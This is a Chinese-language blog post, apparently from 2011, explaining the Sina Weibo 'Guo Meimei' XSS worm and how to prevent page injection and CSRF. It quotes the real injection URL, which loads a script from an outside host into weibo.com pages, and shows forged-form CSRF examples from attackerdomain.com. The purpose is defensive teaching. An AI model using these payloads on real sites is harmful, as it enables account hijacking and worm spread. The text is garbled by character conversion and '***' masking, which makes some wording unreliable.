Web安全,以新浪微博「郭美美」蠕蟲爲例

昨晚(2011/06/28)新浪微博也出現「***」***蠻有表明性;網站上流行的XSS( Cross-Site-Script) / XSRF ( Cross-site request forgery ) 每每是被web開發者忽視的,這裏記述一下相關的事情。

先說新浪微博。

昨天的***狀況介紹能夠參考:
* http://soft.yesky.com/security/156/30179156.shtml

昨晚的***漏洞根源其實很傻,被用於***的URL(固然這個URL如今不工做了)是:
* http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/p_w_picpaths/t.js></script>?type=update

很顯然,/pub/star/g/ 後面的字符串會被新浪內部write過,變成相似:
* http://weibo.com/pub/star.php?g=xyyyd"><script src=//www.2kt.cn/p_w_picpaths/t.js></script>?type=update

的玩意,而後star.php居然會把querystring中g的值直接顯示到頁面中,至關於 weibo.com 在本身的頁面中嵌入了一個來自於 2kt.cn的js腳本。

這種是至關低級的注入***,有作web開發經驗的同窗都應該懂;應該說,新浪微博遭遇的此次***的根源還跟XSS / XSRF 這些「高級」玩意徹底沒有關係。

weibo.com的頁面被嵌入第三方js以後,這個js作的就是 XSRF去完成各類發推/關注/私信的操做,但從安全的角度看,這些我認爲已經不重要了,此次的***根源僅是最低級的頁面注入。

要避免這樣的問題,在頁面模板中,全部的變量輸出,默認都應該作 HTML encode:

<%=Request.QueryString["qry"] %>

默認就應該對輸出的值作html encode,至關於:

<%=HttpUtil.HtmlEncode(Request.QueryString["qry"]) %>

目前新web框架的模板引擎基本默認都會對變量頁面輸出作html encode;這樣注入的問題都會被避免。

以Razor爲例:
<div>
@Model.UserName
</div>

默認至關於:
<div>
<%=UttpUtil.HtmlEncode(Model.UserName) %>
</div>

至於連模板都沒有用,直接拼接字符串輸出html的作法,就完全無語了。

====== XSRF / XSS ======
這樣的***方式才相對「新穎」一些。

===== HTTP Get =====
假設網站存在可能致使用戶數據改變的接口,如:
* http://dummydomain.com/update_nick.aspx?nick=Stupid

那麼,第三方網站能夠直接將上述URL做爲一個img標籤的src,使得用戶在訪問的時候自動去獲取此頁面,形成暱稱被改。

這裏的問題根源是接口定義違反了HTTP的推薦設計。

一切HTTP Get操做,都不該該涉及用戶數據的修改;必須強制使用爲POST,以免數據被無心/惡意修改。

===== HTTP Post =====
假設修改暱稱的接口變成:
* http://dummydomain.com/update_nick.aspx

用戶必須經過form提交纔可能能夠修改數據,比方說:
<code html>
<form action="http://dummydomain.com/update_nick.aspx" method="post">
<input type="text" name="nick" value="" />
<input type="submit" />
</form>
</code>
這樣的設計實際上也仍是會有問題的,比方說,***者能夠在 http://attackerdomain.com/clickme.html 裏面寫:

<code html>
<form action="http://dummydomain.com/update_nick.aspx" method="post">
<input type="hidden" name="nick" value="Stupid" />
<input type="submit" value="Click Me!!" />
</form>
</code>
用戶在訪問 attackerdomain.com 的時候,便有可能被誤導去點擊,而後形成本身在 dummydomain.com 的數據被修改。

在這樣的場景下,不管接口是Get仍是Post,都無濟於事;這類***是被稱爲 XSRF: Cross-site request forgery。

===== XSRF =====
相比起頁面注入,Web開發者對於XSRF的認識還不夠;但它也是能夠防範的。

首先,要確保全部的涉及數據更新的操做都是通過HTTP Post。

而後,服務器端強制要求全部 HTTP Post都必須包含一個 _XSRF 的參數;其值必須跟Cookie中的同名Cookie相同,比方說:

<code html>
<form action="http://dummydomain.com/update_nick.aspx" method="post">
<input type="hidden" name="_XSRF" value="secret_value" />
<input type="text" name="nick" value="" />
<input type="submit" />
</form>
</code>

當***者企圖從 http://attackerdomain.com/clickme.html 頁面提交資料去 http://dummydomain.com/update_nick.aspx 時,瀏覽器發送的是 dummydomain的 cookie;而這個cookie的值,是attacherdomain.com所沒法得到的,也就是說,它沒法僞造:

<code html>
<form action="http://dummydomain.com/update_nick.aspx" method="post">
<input type="hidden" name="_XSRF" value="Attacher can't know this value!" />
<input type="hidden" name="nick" value="Stupid" />
<input type="submit" value="Click Me!!" />
</form>
</code>

有安全意識,或者說,先進的web框架( Django / Tornado / RoR 等等 ),默認都強制要求POST提交必須有 XSRF 檢查。

微軟的技術,基本都是跟在別人後面的,目前彷佛仍是的開發者手動去處理,asp.net MVC 能夠參考:
* http://weblogs.asp.net/srkirkland/archive/2010/04/14/guarding-against-csrf-attacks-in-asp-net-mvc2.aspx

若是asp.net開發者沒有安全意識,專門去給全部頁面添加XSRF的檢查,那麼作出來的網站,均可能受到 XSRF ***。

你們有興趣的話能夠去挑各類asp.net開發的網站去試;或者說,想一想本身作過的網站是否會受到此種***。

:)

====== Web 安全的根基 ======
Cookie / Same origin policy(簡單的說,就是防止AJAX跨域)是 Web安全的根源。

而這兩點,是由客戶端瀏覽器所保證的,若是客戶端實現得很差,域名A能夠訪問域名B的cookie值,或者說發起AJAX調用,那麼全部服務器端的安全措施都是白搭。

Cookie在HTTP中是明文傳輸的,是可能會被中間人竊取而後僞造的;而cookie又是Web用戶認證信息的根源,一旦Cookie泄露,***方就能夠隨心所欲。

因此,不少網站(比方說, twitter / gmail)默認都在強制把全部的頁面傳輸轉移去 HTTPS;以杜絕中間人的問題。

千里之堤,潰於蟻穴;根基不牢靠,上層所作的任何安全措施,均可能被攻破。

這裏的關鍵,是要有一個可靠的根基,跟Web技術沒有直接關係,Native程序也會有一樣性質的問題。php

相關文章
相關標籤/搜索